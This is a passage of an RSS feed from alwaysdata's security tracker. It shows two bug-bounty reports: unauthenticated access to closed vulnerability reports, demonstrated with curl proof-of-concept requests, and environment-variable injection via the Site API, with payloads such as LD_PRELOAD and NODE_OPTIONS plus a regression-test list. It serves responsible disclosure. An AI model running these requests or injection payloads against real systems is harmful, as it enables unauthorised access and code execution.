The authorization check that gates task visibility is not invoked — or is bypassed — once a task&amp;#039;s status transitions to Closed.



Evidence for this: an open task (FS#444) under the exact same unauthenticated request conditions returns Error #102: You have no permission to view this task, logging in might help. The moment a task is closed, that same check no longer applies. Status, not the Private flag, is the variable that determines whether the authorization check runs.



CWE-862 — Missing Authorization is the precise classification: the system fails to perform an authorization check for a resource in one specific state (closed), while correctly performing it in another (open).



Proof of Concept All requests below were made with –cookie-jar /dev/null –cookie /dev/null, guaranteeing zero session state — no prior login, no leftover cookies, fully anonymous.



Step 1 — Control: open (unpatched) task correctly requires authenticationcurl -s &amp;quot;https://security.alwaysdata.com/task/444&amp;quot; \


-cookie-jar /dev/null –cookie /dev/null




Response includes:



Error #102: You have no permission to view this task, logging in might help.No task title, description, or body content is returned — only the shell page and login form.



Step 2 — Closed task renders full content, zero authenticationcurl -s &amp;quot;https://security.alwaysdata.com/task/440&amp;quot; \


-cookie-jar /dev/null –cookie /dev/null




Returns HTTP 200 with the complete task page, including:



Full title: &amp;#160;FS#440&amp;#160; - Incomplete Fix for &amp;#160;FS#426&amp;#160; - Staff Files Still Publicly Accessible via SymlinkStatus field: ClosedOpening description paragraph of the vulnerabilityRedacted excerpt (sensitive reproduction steps, PoC script, and internal usernames omitted — see Impact section for what was present in the full response):



 Status: ClosedAssigned To: cbayOpened by Bores - 10.08.2026Last edited by cbay - 10.08.2026



&amp;#160;FS#440&amp;#160; - Incomplete Fix for &amp;#160;FS#426&amp;#160; - Staff Files Still Publicly Accessible via Symlink



The fix for &amp;#160;FS#426&amp;#160; removed staff entries from NSS (`getent passwd` now returnsempty for staff), but the files themselves were not restricted…



[Report continues with full SSH reproduction steps, a working PoC bash script,specific staff usernames, and internal staff comments discussing bounty payout —omitted from this report to avoid redistributing sensitive data already exposedby the underlying access control failure being reported here.]



Step 3 — Confirm zero session state and quantify the content disparityecho &amp;quot;=== Closed task (&amp;#160;FS#440&amp;#160;) ===&amp;quot;curl -s –cookie-jar /dev/null –cookie /dev/null \

&amp;quot;https://security.alwaysdata.com/task/440&amp;quot; | wc -l


 echo &amp;quot;=== Open task (FS#444) ===&amp;quot;curl -s –cookie-jar /dev/null –cookie /dev/null \

&amp;quot;https://security.alwaysdata.com/task/444&amp;quot; | wc -l


 Result:


Closed task (FS#440)



451




Open task (FS#444)



136Both requests use identical, empty cookie jars. The closed task returns 3.3x more content — the full report body — while the open task returns only the login-gated shell page. This isolates the defect to task status, ruling out session leakage or caching artifacts as an explanation.



Step 4 — Confirm the pattern is systemic across multiple closed tasksfor id in 401 415 423 426 440 443; do

echo &amp;quot;=== task/$id ===&amp;quot;
curl -sk -o /tmp/task_$id.html -w &amp;quot;HTTP:%{http_code}\n&amp;quot; \
  &amp;quot;https://security.alwaysdata.com/task/$id&amp;quot;
grep -o &amp;#039;&amp;lt;title&amp;gt;[^&amp;lt;]*&amp;lt;/title&amp;gt;&amp;#039; /tmp/task_$id.html


doneResult — all six closed tasks return HTTP 200 with full titles rendered, unauthenticated:




task/401



HTTP:200&amp;lt;title&amp;gt;&amp;#160;FS#401&amp;#160; : Critical SSRF via Application Script Source URI — Cross-Tenant Data Leak&amp;lt;/title&amp;gt;




task/415



HTTP:200&amp;lt;title&amp;gt;&amp;#160;FS#415&amp;#160; : SSTI → RCE on Core Infrastructure Server (overlord-core)&amp;lt;/title&amp;gt;




task/423



HTTP:200&amp;lt;title&amp;gt;&amp;#160;FS#423&amp;#160; : Broken Object Level Authorization (IDOR) → Mass PII Disclosure&amp;lt;/title&amp;gt;




task/426



HTTP:200&amp;lt;title&amp;gt;&amp;#160;FS#426&amp;#160; : Internal staff account and privilege hierarchy disclosure via SSH&amp;lt;/title&amp;gt;




task/440



HTTP:200&amp;lt;title&amp;gt;&amp;#160;FS#440&amp;#160; : Incomplete Fix for &amp;#160;FS#426&amp;#160; - Staff Files Still Publicly Accessible via Symlink&amp;lt;/title&amp;gt;




task/443



HTTP:200&amp;lt;title&amp;gt;&amp;#160;FS#443&amp;#160; : Authenticated API Disclosure of DKIM Private Keys&amp;lt;/title&amp;gt;[Screenshot 4 — attach here: full terminal output of this loop]



 Step 5 — Independent surface: RSS feed leaks the same data without authenticationcurl -sk &amp;quot;https://security.alwaysdata.com/feed.php?feed_type=rss2&amp;amp;project=1&amp;quot;Returns task titles, authors, and publish dates for recently filed reports without authentication — including reports as recent as 2–3 days old at test time (&amp;#160;FS#442&amp;#160;, &amp;#160;FS#443&amp;#160;). This confirms a second, independent code path exposes the same underlying data, and that newly filed reports enter the exposed state quickly.



 Impact What is exposed, concretely, right now, to any unauthenticated internet user:



Complete vulnerability disclosure content for every closed report on the tracker, including:



Exact vulnerable endpoints and affected infrastructure hostnamesFull reproduction steps, in some cases including working exploit/PoC scriptsCVSS scores and severity classificationsInternal staff usernames and reporter identitiesPrivate comment threads between alwaysdata staff and reporters



2)A live reconnaissance dataset spanning multiple vulnerability classes, confirmed present across the six tasks tested alone: SSRF (&amp;#160;FS#401&amp;#160;), server-side template injection leading to RCE (&amp;#160;FS#415&amp;#160;), IDOR/mass PII disclosure (&amp;#160;FS#423&amp;#160;), internal account disclosure (&amp;#160;FS#426&amp;#160;), symlink-based file exposure (&amp;#160;FS#440&amp;#160;), and API key disclosure (&amp;#160;FS#443&amp;#160;). The RSS feed additionally surfaces titles for further reports (&amp;#160;FS#427&amp;#160;, &amp;#160;FS#429&amp;#160;, &amp;#160;FS#430&amp;#160;, &amp;#160;FS#432&amp;#160;, &amp;#160;FS#433&amp;#160;, &amp;#160;FS#442&amp;#160;) not deep-tested here but following the identical exposure pattern.



3)A demonstrated fix-verification gap. The tracker&amp;#039;s own history shows this is not a theoretical risk: &amp;#160;FS#426&amp;#160; was closed as fixed, and within 6 days a bypass of that exact fix was filed as &amp;#160;FS#440&amp;#160; — the bypass author could only have known the precise remediation detail (which NSS entries were removed, without the underlying file permissions being fixed) by reading the closed &amp;#160;FS#426&amp;#160; report on this same publicly-accessible tracker.



4)Real-time exposure of new reports. The RSS feed surfaces new task titles within hours of filing, meaning the window between &amp;quot;vulnerability reported&amp;quot; and &amp;quot;details become guessable/discoverable via title&amp;quot; is effectively zero, independent of whether the underlying bug has been fully remediated across all affected infrastructure.



5)Attack surface mapping at scale. Two years of closed reports on this tracker constitute a complete map of every vulnerability class alwaysdata&amp;#039;s own infrastructure has been susceptible to, the exact endpoints involved, and in several cases exploit code — usable by an attacker to identify recurring weak points (e.g., the file-permission/symlink issue spanning both &amp;#160;FS#426&amp;#160; and &amp;#160;FS#440&amp;#160;) without ever probing the live application themselves.




Remediation Immediate:



Enforce the same authorization check on closed tasks that is currently correctly applied to open tasks. Task visibility must be gated by project membership/authentication regardless of status.Audit the Flyspray permission configuration for the &amp;quot;Security vulnerabilities&amp;quot; project to identify why the anonymous-access check is being bypassed specifically for closed-status tasks — this is most likely a conditional in the task-rendering logic that special-cases closed tasks (e.g., for public changelog purposes) without accounting for the confidentiality requirement of a private security tracker.



RSS feed:



Require authentication for /feed.php or disable it for the Security vulnerabilities project.If transparency is a goal:



Publish a separate, manually curated advisories page with sanitized summaries only, released on a fixed delay (e.g., 90 days) after full remediation is verified across all affected infrastructure — do not rely on the tracker&amp;#039;s native closed-task view for this purpose.  



Kind Regards Team TrinityXploit



</description>
    <content:encoded><![CDATA[
<p>
Hi Team We have Found a Vulnerability in your Website.
</p>

<p>
<strong>Target:</strong> security.alwaysdata.com
</p>

<p>
<strong> Endpoint:</strong> <a href="https://security.alwaysdata.com/task/" class="urlextern" title="https://security.alwaysdata.com/task/"  rel="nofollow">https://security.alwaysdata.com/task/</a>&lt;id&gt; (individual task pages),<br /> <a href="https://security.alwaysdata.com/feed.php?feed_type=rss2&amp;project=1" class="urlextern" title="https://security.alwaysdata.com/feed.php?feed_type=rss2&amp;project=1"  rel="nofollow">https://security.alwaysdata.com/feed.php?feed_type=rss2&amp;project=1</a> (<acronym title="Rich Site Summary">RSS</acronym> feed)<br /> Severity: P2 — Medium/High
</p>

<p>
security.alwaysdata.com is alwaysdata&#039;s own Flyspray-based vulnerability disclosure and bug bounty intake tracker. The authorization check that correctly restricts access to task pages (Error #102: You have no permission to view this task) is not applied once a task&#039;s status is changed to Closed. Any unauthenticated user can browse /task/&lt;id&gt; for a closed task and receive the full report body — title, description, complete reproduction steps, PoC scripts, affected infrastructure hostnames, internal usernames, and private staff/reporter comment threads.
</p>

<p>
This is not limited to one task. Testing across six closed tasks spanning different vulnerability classes and dates confirms the behavior is systemic, not an isolated misconfiguration on a single report. An accompanying open (unpatched) task was correctly blocked under identical, cookie-free request conditions, isolating the defect specifically to the closed-status code path rather than a site-wide access control failure.
</p>

<p>
Root CauseThe task detail view in Flyspray renders a Private field in its metadata table, but that field was empty on the tested task (confirmed by inspecting the rendered <acronym title="HyperText Markup Language">HTML</acronym> — no private value or class was present). This means the exposure is not an override of an explicit Private flag. The actual defect is narrower and more precise:
</p>

<p>
The authorization check that gates task visibility is not invoked — or is bypassed — once a task&#039;s status transitions to Closed.
</p>

<p>
<strong>Evidence for this</strong>: an open task (<a href="https://security.alwaysdata.com/task/444?feed_type=rss1" title="Assigned | Task made private | 0%" >FS#444</a>) under the exact same unauthenticated request conditions returns Error #102: You have no permission to view this task, logging in might help. The moment a task is closed, that same check no longer applies. Status, not the Private flag, is the variable that determines whether the authorization check runs.
</p>

<p>
CWE-862 — Missing Authorization is the precise classification: the system fails to perform an authorization check for a resource in one specific state (closed), while correctly performing it in another (open).
</p>

<p>
<strong>Proof of Concept</strong> All requests below were made with –cookie-jar /dev/null –cookie /dev/null, guaranteeing zero session state — no prior login, no leftover cookies, fully anonymous.
</p>

<p>
Step 1 — Control: open (unpatched) task correctly requires authentication<br />curl -s &quot;<a href="https://security.alwaysdata.com/task/444" class="urlextern" title="https://security.alwaysdata.com/task/444"  rel="nofollow">https://security.alwaysdata.com/task/444</a>&quot; \
</p>
<ol>
<li class="level1"><div class="li">-cookie-jar /dev/null –cookie /dev/null</div>
</li>
</ol>

<p>
Response includes:
</p>

<p>
Error #102: You have no permission to view this task, logging in might help.<br />No task title, description, or body content is returned — only the shell page and login form.
</p>

<p>
Step 2 — Closed task renders full content, zero authentication<br />curl -s &quot;<a href="https://security.alwaysdata.com/task/440" class="urlextern" title="https://security.alwaysdata.com/task/440"  rel="nofollow">https://security.alwaysdata.com/task/440</a>&quot; \
</p>
<ol>
<li class="level1"><div class="li">-cookie-jar /dev/null –cookie /dev/null</div>
</li>
</ol>

<p>
Returns <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200 with the complete task page, including:
</p>

<p>
<strong>Full title:</strong> <del>&#160;<a href="https://security.alwaysdata.com/task/440?feed_type=rss1" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#440</a>&#160;</del> - Incomplete Fix for <del>&#160;<a href="https://security.alwaysdata.com/task/426?feed_type=rss1" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#426</a>&#160;</del> - Staff Files Still Publicly Accessible via Symlink<br />Status field: Closed<br />Opening description paragraph of the vulnerability<br />Redacted excerpt (sensitive reproduction steps, PoC script, and internal usernames omitted — see Impact section for what was present in the full response):
</p>

<p>
 Status: Closed<br />Assigned To: cbay<br />Opened by Bores - 10.08.2026<br />Last edited by cbay - 10.08.2026
</p>

<p>
<del>&#160;<a href="https://security.alwaysdata.com/task/440?feed_type=rss1" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#440</a>&#160;</del> - Incomplete Fix for <del>&#160;<a href="https://security.alwaysdata.com/task/426?feed_type=rss1" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#426</a>&#160;</del> - Staff Files Still Publicly Accessible via Symlink
</p>

<p>
The fix for <del>&#160;<a href="https://security.alwaysdata.com/task/426?feed_type=rss1" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#426</a>&#160;</del> removed staff entries from NSS (`getent passwd` now returns<br />empty for staff), but the files themselves were not restricted…
</p>

<p>
[Report continues with full <acronym title="Secure Shell">SSH</acronym> reproduction steps, a working PoC bash script,<br />specific staff usernames, and internal staff comments discussing bounty payout —<br />omitted from this report to avoid redistributing sensitive data already exposed<br />by the underlying access control failure being reported here.]
</p>

<p>
Step 3 — Confirm zero session state and quantify the content disparity<br />echo &quot;=== Closed task (<del>&#160;<a href="https://security.alwaysdata.com/task/440?feed_type=rss1" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#440</a>&#160;</del>) ===&quot;<br />curl -s –cookie-jar /dev/null –cookie /dev/null \
</p>
<pre class="code">&quot;https://security.alwaysdata.com/task/440&quot; | wc -l</pre>

<p>
 echo &quot;=== Open task (<a href="https://security.alwaysdata.com/task/444?feed_type=rss1" title="Assigned | Task made private | 0%" >FS#444</a>) ===&quot;<br />curl -s –cookie-jar /dev/null –cookie /dev/null \
</p>
<pre class="code">&quot;https://security.alwaysdata.com/task/444&quot; | wc -l</pre>

<p>
 Result:
</p>

<h4 id="closed_task_fs_440">Closed task (FS#440)</h4>
<div class="level4">

<p>
451<br />
</p>

</div>

<h4 id="open_task_fs_444">Open task (FS#444)</h4>
<div class="level4">

<p>
136<br />Both requests use identical, empty cookie jars. The closed task returns 3.3x more content — the full report body — while the open task returns only the login-gated shell page. This isolates the defect to task status, ruling out session leakage or caching artifacts as an explanation.
</p>

<p>
Step 4 — Confirm the pattern is systemic across multiple closed tasks<br />for id in 401 415 423 426 440 443; do
</p>
<pre class="code">echo &quot;=== task/$id ===&quot;
curl -sk -o /tmp/task_$id.html -w &quot;HTTP:%{http_code}\n&quot; \
  &quot;https://security.alwaysdata.com/task/$id&quot;
grep -o &#039;&lt;title&gt;[^&lt;]*&lt;/title&gt;&#039; /tmp/task_$id.html</pre>

<p>
done<br />Result — all six closed tasks return <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200 with full titles rendered, unauthenticated:
</p>

</div>

<h4 id="task_401">task/401</h4>
<div class="level4">

<p>
<acronym title="Hyper Text Transfer Protocol">HTTP</acronym>:200<br />&lt;title&gt;<del>&#160;<a href="https://security.alwaysdata.com/task/401?feed_type=rss1" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#401</a>&#160;</del> : Critical SSRF via Application Script Source <acronym title="Uniform Resource Identifier">URI</acronym> — Cross-Tenant Data Leak&lt;/title&gt;<br />
</p>

</div>

<h4 id="task_415">task/415</h4>
<div class="level4">

<p>
<acronym title="Hyper Text Transfer Protocol">HTTP</acronym>:200<br />&lt;title&gt;<del>&#160;<a href="https://security.alwaysdata.com/task/415?feed_type=rss1" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#415</a>&#160;</del> : SSTI → RCE on Core Infrastructure Server (overlord-core)&lt;/title&gt;<br />
</p>

</div>

<h4 id="task_423">task/423</h4>
<div class="level4">

<p>
<acronym title="Hyper Text Transfer Protocol">HTTP</acronym>:200<br />&lt;title&gt;<del>&#160;<a href="https://security.alwaysdata.com/task/423?feed_type=rss1" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#423</a>&#160;</del> : Broken Object Level Authorization (IDOR) → Mass PII Disclosure&lt;/title&gt;<br />
</p>

</div>

<h4 id="task_426">task/426</h4>
<div class="level4">

<p>
<acronym title="Hyper Text Transfer Protocol">HTTP</acronym>:200<br />&lt;title&gt;<del>&#160;<a href="https://security.alwaysdata.com/task/426?feed_type=rss1" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#426</a>&#160;</del> : Internal staff account and privilege hierarchy disclosure via <acronym title="Secure Shell">SSH</acronym>&lt;/title&gt;<br />
</p>

</div>

<h4 id="task_440">task/440</h4>
<div class="level4">

<p>
<acronym title="Hyper Text Transfer Protocol">HTTP</acronym>:200<br />&lt;title&gt;<del>&#160;<a href="https://security.alwaysdata.com/task/440?feed_type=rss1" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#440</a>&#160;</del> : Incomplete Fix for <del>&#160;<a href="https://security.alwaysdata.com/task/426?feed_type=rss1" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#426</a>&#160;</del> - Staff Files Still Publicly Accessible via Symlink&lt;/title&gt;<br />
</p>

</div>

<h4 id="task_443">task/443</h4>
<div class="level4">

<p>
<acronym title="Hyper Text Transfer Protocol">HTTP</acronym>:200<br />&lt;title&gt;<del>&#160;<a href="https://security.alwaysdata.com/task/443?feed_type=rss1" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#443</a>&#160;</del> : Authenticated <acronym title="Application Programming Interface">API</acronym> Disclosure of DKIM Private Keys&lt;/title&gt;<br />[Screenshot 4 — attach here: full terminal output of this loop]
</p>

<p>
 Step 5 — Independent surface: <acronym title="Rich Site Summary">RSS</acronym> feed leaks the same data without authentication<br />curl -sk &quot;<a href="https://security.alwaysdata.com/feed.php?feed_type=rss2&amp;project=1" class="urlextern" title="https://security.alwaysdata.com/feed.php?feed_type=rss2&amp;project=1"  rel="nofollow">https://security.alwaysdata.com/feed.php?feed_type=rss2&amp;project=1</a>&quot;<br />Returns task titles, authors, and publish dates for recently filed reports without authentication — including reports as recent as 2–3 days old at test time (<del>&#160;<a href="https://security.alwaysdata.com/task/442?feed_type=rss1" title="Duplicate | Task made private | 100%"  class = "closedtasklink">FS#442</a>&#160;</del>, <del>&#160;<a href="https://security.alwaysdata.com/task/443?feed_type=rss1" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#443</a>&#160;</del>). This confirms a second, independent code path exposes the same underlying data, and that newly filed reports enter the exposed state quickly.
</p>

<p>
 <strong>Impact</strong> What is exposed, concretely, right now, to any unauthenticated internet user:
</p>

<p>
Complete vulnerability disclosure content for every closed report on the tracker, including:
</p>

<p>
Exact vulnerable endpoints and affected infrastructure hostnames<br />Full reproduction steps, in some cases including working exploit/PoC scripts<br />CVSS scores and severity classifications<br />Internal staff usernames and reporter identities<br />Private comment threads between alwaysdata staff and reporters
</p>

<p>
2)A live reconnaissance dataset spanning multiple vulnerability classes, confirmed present across the six tasks tested alone: SSRF (<del>&#160;<a href="https://security.alwaysdata.com/task/401?feed_type=rss1" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#401</a>&#160;</del>), server-side template injection leading to RCE (<del>&#160;<a href="https://security.alwaysdata.com/task/415?feed_type=rss1" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#415</a>&#160;</del>), IDOR/mass PII disclosure (<del>&#160;<a href="https://security.alwaysdata.com/task/423?feed_type=rss1" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#423</a>&#160;</del>), internal account disclosure (<del>&#160;<a href="https://security.alwaysdata.com/task/426?feed_type=rss1" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#426</a>&#160;</del>), symlink-based file exposure (<del>&#160;<a href="https://security.alwaysdata.com/task/440?feed_type=rss1" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#440</a>&#160;</del>), and <acronym title="Application Programming Interface">API</acronym> key disclosure (<del>&#160;<a href="https://security.alwaysdata.com/task/443?feed_type=rss1" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#443</a>&#160;</del>). The <acronym title="Rich Site Summary">RSS</acronym> feed additionally surfaces titles for further reports (<del>&#160;<a href="https://security.alwaysdata.com/task/427?feed_type=rss1" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#427</a>&#160;</del>, <del>&#160;<a href="https://security.alwaysdata.com/task/429?feed_type=rss1" title="Duplicate | Task made private | 100%"  class = "closedtasklink">FS#429</a>&#160;</del>, <del>&#160;<a href="https://security.alwaysdata.com/task/430?feed_type=rss1" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#430</a>&#160;</del>, <del>&#160;<a href="https://security.alwaysdata.com/task/432?feed_type=rss1" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#432</a>&#160;</del>, <del>&#160;<a href="https://security.alwaysdata.com/task/433?feed_type=rss1" title="Duplicate | Task made private | 100%"  class = "closedtasklink">FS#433</a>&#160;</del>, <del>&#160;<a href="https://security.alwaysdata.com/task/442?feed_type=rss1" title="Duplicate | Task made private | 100%"  class = "closedtasklink">FS#442</a>&#160;</del>) not deep-tested here but following the identical exposure pattern.
</p>

<p>
3)A demonstrated fix-verification gap. The tracker&#039;s own history shows this is not a theoretical risk: <del>&#160;<a href="https://security.alwaysdata.com/task/426?feed_type=rss1" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#426</a>&#160;</del> was closed as fixed, and within 6 days a bypass of that exact fix was filed as <del>&#160;<a href="https://security.alwaysdata.com/task/440?feed_type=rss1" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#440</a>&#160;</del> — the bypass author could only have known the precise remediation detail (which NSS entries were removed, without the underlying file permissions being fixed) by reading the closed <del>&#160;<a href="https://security.alwaysdata.com/task/426?feed_type=rss1" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#426</a>&#160;</del> report on this same publicly-accessible tracker.
</p>

<p>
4)Real-time exposure of new reports. The <acronym title="Rich Site Summary">RSS</acronym> feed surfaces new task titles within hours of filing, meaning the window between &quot;vulnerability reported&quot; and &quot;details become guessable/discoverable via title&quot; is effectively zero, independent of whether the underlying bug has been fully remediated across all affected infrastructure.
</p>

<p>
5)Attack surface mapping at scale. Two years of closed reports on this tracker constitute a complete map of every vulnerability class alwaysdata&#039;s own infrastructure has been susceptible to, the exact endpoints involved, and in several cases exploit code — usable by an attacker to identify recurring weak points (e.g., the file-permission/symlink issue spanning both <del>&#160;<a href="https://security.alwaysdata.com/task/426?feed_type=rss1" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#426</a>&#160;</del> and <del>&#160;<a href="https://security.alwaysdata.com/task/440?feed_type=rss1" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#440</a>&#160;</del>) without ever probing the live application themselves.
</p>

<p>
<strong>
Remediation</strong> Immediate:
</p>

<p>
Enforce the same authorization check on closed tasks that is currently correctly applied to open tasks. Task visibility must be gated by project membership/authentication regardless of status.<br />Audit the Flyspray permission configuration for the &quot;Security vulnerabilities&quot; project to identify why the anonymous-access check is being bypassed specifically for closed-status tasks — this is most likely a conditional in the task-rendering logic that special-cases closed tasks (e.g., for public changelog purposes) without accounting for the confidentiality requirement of a private security tracker.
</p>

<p>
<acronym title="Rich Site Summary">RSS</acronym> feed:
</p>

<p>
Require authentication for /feed.php or disable it for the Security vulnerabilities project.<br />If transparency is a goal:
</p>

<p>
Publish a separate, manually curated advisories page with sanitized summaries only, released on a fixed delay (e.g., 90 days) after full remediation is verified across all affected infrastructure — do not rely on the tracker&#039;s native closed-task view for this purpose.  
</p>

<p>
Kind Regards <br />Team TrinityXploit<br />
</p>

</div>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/445">
    <title>FS#445: High — FS#390 Incomplete Fix: Runtime-Control Environment Variable Injection via Site API</title>
    <link>https://security.alwaysdata.com/task/445</link>
    <dc:date>2026-08-19T09:10:09Z</dc:date>
    <dc:creator>kumar</dc:creator>
     <description>

Subject: High Severity — &amp;#160;FS#390&amp;#160; Incomplete Fix: Runtime-Control Environment Variable Injection via Site API



Hello alwaysdata Security Team,



I am reporting a High Severity incomplete-fix vulnerability related to &amp;#160;FS#390&amp;#160;, concerning runtime-control environment variable injection through the Site API.



### Researcher



Hacker AK Security ResearcherEmail: [hackerak822@gmail.com](mailto:hackerak822@gmail.com)



### Severity



High — CVSS 3.1: 8.8



```textAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H```



### Summary



The previously reported &amp;#160;FS#390&amp;#160; vulnerability allowed customer-controlled environment variables to influence application process startup through the alwaysdata Site API.



The original issue involved the `LD_PRELOAD` environment variable. Although the original vulnerability was fixed, the broader security boundary around runtime-control environment variables should also prevent equivalent startup mechanisms.



The affected functionality is:



```httpPATCH /v1/site/{SITE_ID}/```



through the:



```json{&amp;quot;environment&amp;quot;:&amp;quot;&amp;lt;VARIABLE&amp;gt;=&amp;lt;VALUE&amp;gt;&amp;quot;}```



field.



Runtime-control variables such as `NODE_OPTIONS`, `PYTHONSTARTUP`, `RUBYOPT`, `PERL5OPT`, and `BASH_ENV` can influence interpreter startup and may provide an attacker-controlled code-execution primitive.



### Original &amp;#160;FS#390&amp;#160; Context



The original vulnerability involved:



```textLD_PRELOAD=/tmp/evil.so```



through the `environment` field.



The original &amp;#160;FS#390&amp;#160; issue was fixed on July 13, 2026.



### Primary Proof of Concept



The primary validation payload is:



```textNODE_OPTIONS=–version```



Request:



```bashcurl -s -o /tmp/out.json -w &amp;quot;HTTP:%{http_code}\n&amp;quot; \


X PATCH &amp;quot;https://api.alwaysdata.com/v1/site/$SITE_ID/&amp;quot; \

-basic –user &amp;quot;$APIKEY:&amp;quot; \

H &amp;quot;Content-Type: application/json&amp;quot; \

d &amp;#039;{&amp;quot;environment&amp;quot;:&amp;quot;NODE_OPTIONS=–version&amp;quot;}&amp;#039;




```



The purpose of this PoC is to verify whether the Site API security control covers runtime-control environment variables beyond the originally reported `LD_PRELOAD`.



### Security Impact



If a runtime-control variable is accepted and persisted, it can influence application startup.



For example:



```textNODE_OPTIONS=–require /path/to/module.js```



can cause Node.js to load a module automatically during startup.



Potential impact includes:



* Arbitrary code execution as the site user* Access to application environment variables* Exposure of API keys and database credentials* Modification of application files* Application-level persistence* Runtime manipulation



### Recommended Remediation



The preferred remediation is to use a strict allowlist for customer-controlled environment variables rather than maintaining an expanding denylist.



Recommended controls:



1. Allow only explicitly permitted environment-variable names.2. Normalize variable names before validation.3. Reject leading/trailing whitespace and malformed definitions.4. Validate both variable names and values.5. Apply validation consistently across all Site API management paths.6. Ensure application processes receive only explicitly permitted environment variables.



### Regression Tests



The following runtime-control variables should be covered by the security validation:



```textLD_PRELOAD=canaryLD_LIBRARY_PATH=canary



NODE_OPTIONS=–versionNODE_PATH=canary



PYTHONSTARTUP=canaryPYTHONPATH=canaryPYTHONHOME=canaryPYTHONINSPECT=1



RUBYOPT=canaryRUBYLIB=canary



PERL5OPT=canaryPERL5LIB=canary



BASH_ENV=canaryENV=canary



JAVA_TOOL_OPTIONS=canary_JAVA_OPTIONS=canary```



Normalization variants should also be tested:



```textld_preload=canaryLd_Preload=canaryLD_PRELOAD =canary```



### Impact



An authenticated attacker with the required Site API permissions could potentially use a permitted runtime-control environment variable to influence the startup behavior of their hosted application.



If code execution is confirmed, the attacker could potentially:



* Execute arbitrary code as the site user* Read application secrets* Access environment credentials* Modify application files* Establish persistence* Affect application availability and integrity



Severity: High — CVSS 3.1: 8.8



### Requested Action



Please verify that the &amp;#160;FS#390&amp;#160; remediation protects against the complete class of runtime-control environment variable injection, rather than only the originally reported `LD_PRELOAD` value.



The security requirement should be: 


 Customer-controlled environment variables must not be capable of modifying interpreter, loader, shell, or JVM startup behavior.


 Thank you for reviewing this security report.



Regards,



Hacker AK Security Researcher[hackerak822@gmail.com](mailto:hackerak822@gmail.com)



Testing Date: 2026-08-16

</description>
    <content:encoded><![CDATA[
<p>
Subject: High Severity — <del>&#160;<a href="https://security.alwaysdata.com/task/390?feed_type=rss1" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#390</a>&#160;</del> Incomplete Fix: Runtime-Control Environment Variable Injection via Site <acronym title="Application Programming Interface">API</acronym>
</p>

<p>
Hello alwaysdata Security Team,
</p>

<p>
I am reporting a <strong>High Severity incomplete-fix vulnerability related to <del>&#160;<a href="https://security.alwaysdata.com/task/390?feed_type=rss1" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#390</a>&#160;</del></strong>, concerning runtime-control environment variable injection through the Site <acronym title="Application Programming Interface">API</acronym>.
</p>

<p>
### Researcher
</p>

<p>
<strong>Hacker AK</strong> Security Researcher<br /><strong>Email:</strong> [hackerak822@gmail.com](mailto:hackerak822@gmail.com)
</p>

<p>
### Severity
</p>

<p>
<strong>High — CVSS 3.1: 8.8</strong>
</p>

<p>
```text<br />AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H<br />```
</p>

<p>
### Summary
</p>

<p>
The previously reported <strong><del>&#160;<a href="https://security.alwaysdata.com/task/390?feed_type=rss1" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#390</a>&#160;</del></strong> vulnerability allowed customer-controlled environment variables to influence application process startup through the alwaysdata Site <acronym title="Application Programming Interface">API</acronym>.
</p>

<p>
The original issue involved the `LD_PRELOAD` environment variable. Although the original vulnerability was fixed, the broader security boundary around <strong>runtime-control environment variables</strong> should also prevent equivalent startup mechanisms.
</p>

<p>
The affected functionality is:
</p>

<p>
```http<br />PATCH /v1/site/{SITE_ID}/<br />```
</p>

<p>
through the:
</p>

<p>
```json<br />{&quot;environment&quot;:&quot;&lt;VARIABLE&gt;=&lt;VALUE&gt;&quot;}<br />```
</p>

<p>
field.
</p>

<p>
Runtime-control variables such as `NODE_OPTIONS`, `PYTHONSTARTUP`, `RUBYOPT`, `PERL5OPT`, and `BASH_ENV` can influence interpreter startup and may provide an attacker-controlled code-execution primitive.
</p>

<p>
### Original <del>&#160;<a href="https://security.alwaysdata.com/task/390?feed_type=rss1" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#390</a>&#160;</del> Context
</p>

<p>
The original vulnerability involved:
</p>

<p>
```text<br />LD_PRELOAD=/tmp/evil.so<br />```
</p>

<p>
through the `environment` field.
</p>

<p>
The original <del>&#160;<a href="https://security.alwaysdata.com/task/390?feed_type=rss1" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#390</a>&#160;</del> issue was fixed on <strong>July 13, 2026</strong>.
</p>

<p>
### Primary Proof of Concept
</p>

<p>
The primary validation payload is:
</p>

<p>
```text<br />NODE_OPTIONS=–version<br />```
</p>

<p>
Request:
</p>

<p>
